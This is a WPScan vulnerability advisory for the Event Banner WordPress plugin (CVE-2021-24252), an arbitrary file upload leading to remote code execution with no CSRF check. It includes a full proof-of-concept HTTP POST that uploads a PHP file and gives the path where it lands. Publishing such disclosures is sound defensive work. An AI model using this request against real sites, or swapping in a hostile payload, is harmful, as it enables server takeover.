WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Event Banner <= 1.3 - Arbitrary File Upload to RCE

Description

The plugin does not verify the uploaded image file, allowing admin accounts to upload arbitrary files, such as .exe, .php, or others executable, leading to RCE. Due to the lack of CSRF check, the issue can also be used via such vector to achieve the same result, or via a LFI as authorisation checks are missing (but would require WP to be loaded)

Proof of Concept

POST /wp-admin/admin.php?page=free_event_banner HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------7244184083325323103017916780
Content-Length: 705
Connection: close
Cookie: [admin cookies/CSRF]
Upgrade-Insecure-Requests: 1

-----------------------------7244184083325323103017916780
Content-Disposition: form-data; name="image"; filename="134.php"
Content-Type: text/php

<?php echo 'FAILED'; ?>

-----------------------------7244184083325323103017916780
Content-Disposition: form-data; name="event[name]"

default
-----------------------------7244184083325323103017916780
Content-Disposition: form-data; name="event[date]"

def
-----------------------------7244184083325323103017916780
Content-Disposition: form-data; name="event[file]"


-----------------------------7244184083325323103017916780
Content-Disposition: form-data; name="save"

Save
-----------------------------7244184083325323103017916780--


The PHP file will be at https://example.com/wp-content/uploads/event_banner/def.php
 

Affects Plugins

free-event-banner
No known fix - plugin closed

References

CVE
CVE-2021-24252
URL
https://github.com/jinhuang1102/CVE-ID-Reports/blob/master/Event%20Banner.md

YouTube Video

Classification

Type

UPLOAD

CWE
CWE-434

Miscellaneous

Original Researcher

Jin Huang

Submitter

Jin Huang

Submitter website
https://github.com/jinhuang1102
Submitter twitter
JinHWhite412Ash
Verified

Yes

WPVDB ID
91e81c6d-f24d-4f87-bc13-746715af8f7c

Timeline

Publicly Published

2021-04-10 (about 1 years ago)

Added

2021-04-12 (about 1 years ago)

Last Updated

2021-04-14 (about 1 years ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us